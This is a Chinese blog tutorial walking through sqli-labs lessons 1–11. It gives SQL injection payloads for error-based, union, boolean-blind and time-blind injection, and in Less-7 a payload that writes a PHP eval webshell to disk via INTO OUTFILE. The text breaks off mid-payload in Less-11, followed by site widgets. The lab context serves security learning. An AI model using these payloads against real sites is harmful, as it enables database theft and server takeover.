sqli-labs 1-65教程

导语

做完DVWA感觉还是对sql注入了解不够多,尝试做了一下这个实验。
里面是所有的payload和一些解释。

Less1-35

Less-1
Please input the ID as parameter with numeric value
尝试输入ID=1’ 这是一个字符型注入
Payload : id=1’

Less-2
这是一个数字型注入
Payload : ?id=9 union select 1,database(),user()

Less-3
生成的注入语句SELECT * FROM users WHERE id=(‘2’) – ‘) LIMIT 0,1
也就是把2’)注入进去构造成正常的语句,然后再–注释掉
单引号括号注入
Payload:?id=2’) –+

Less-4
?id=1’ 单引号正常
?id=1” 双引号报错 right syntax to use near ‘“1”“)
得出这个一个双引号括号的注入
Payload:?id=1”) –+

Less-5
Payload:?id=1’ 报错right syntax to use near ”1”
这是一个单引号的注入

Less-6
Payload:?id=1” 报错syntax to use near ‘“1””
这是一个双引号的注入
Less-7
转储文件get字符型注入
通过payload 我们成功一句话木马导入到指定的路径
导入:
Payload:?id=1')) union select 1,'2','<?php @eval($_POST["xx"]);?>' into outfile 'D:\\phpStudy\\PHPTutorial\\WWW\\sqli-labs-master\\xiaoha2i.php' %23
导出:
Payload:id=(('1')) union select 1,load_file ('D:\\phpStudy\\PHPTutorial\\WWW\\sqli-labs-master\\xiaoha2i.php'),'3' #'))

Less-8 Blind- Boolian- Single Quotes- String 盲注单引号注入
盲注简单理解就是不回显数据的注入,只通过页面是否正确返回来判断
Payload:?id=1’ and LENGTH(database())>=5 %23 通过这个判断数据库长度
Payload:?id=1’ and ascii(substr(database(),1,1))>=115 %23 判断某个字符串的ascii
通过更改substr(1,1)来获取不同位置的字符串的数据
Payload:?id=1’ and (select count(table_name) from information_schema.tables where table_schema=’security’)>=4 判断这个数据库有多少个表
Payload:?id=1’ and (select length(table_name) from information_schema.tables where table_schema=’security’ LIMIT 0,1)>=9 判断第一张表的长度
limit 第一个参数是指记录开始的index,从0开始,表示第一条记录。
Limit 第二个参数表示取多少条
Payload:?id=1’ and ascii(substr((select table_name from information_schema.tables where table_schema=’security’ limit 0,1),1,1))>=102 获取第一张表的第一个字符串ascii是否大于102
Payload:?id=1’ and (select count(column_name) from information_schema.columns where table_schema=’security’ and table_name=’users’)>=3 获取db=security table=users 的表里面有多少字段,是否大于等于3个字段
group by 组合查询

Less-9 -基于时间的GET单引号盲注
因为不管我们怎么输入,返回的都是同样的信息,但是我们又想知道是否存在注入,我们通过sleep(5)延时来判断是否成功执行了sql语句
payload:?id=1’ and sleep(5) %23
payload:?id=1’ and if(ascii(substr(database(),1,1))>115, 0, sleep(5)) %23

Less-10 -基于时间的GET双引号盲注
同上,只是由单引号变为双引号
payload:?id=1” and sleep(5) %23
payload:?id=1” and if(ascii(substr(database(),1,1))>115, 0, sleep(5)) %23

Less-11-基于错误的post单引号注入
截图 SELECT username, password FROM users WHERE username=’test ’ or 1=1 #’ and password=’aaaa’ LIMIT 0,1
payload-post:username=test ’ o

  • 11
    点赞
  • 73
    收藏
    觉得还不错? 一键收藏
  • 2
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论 2
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值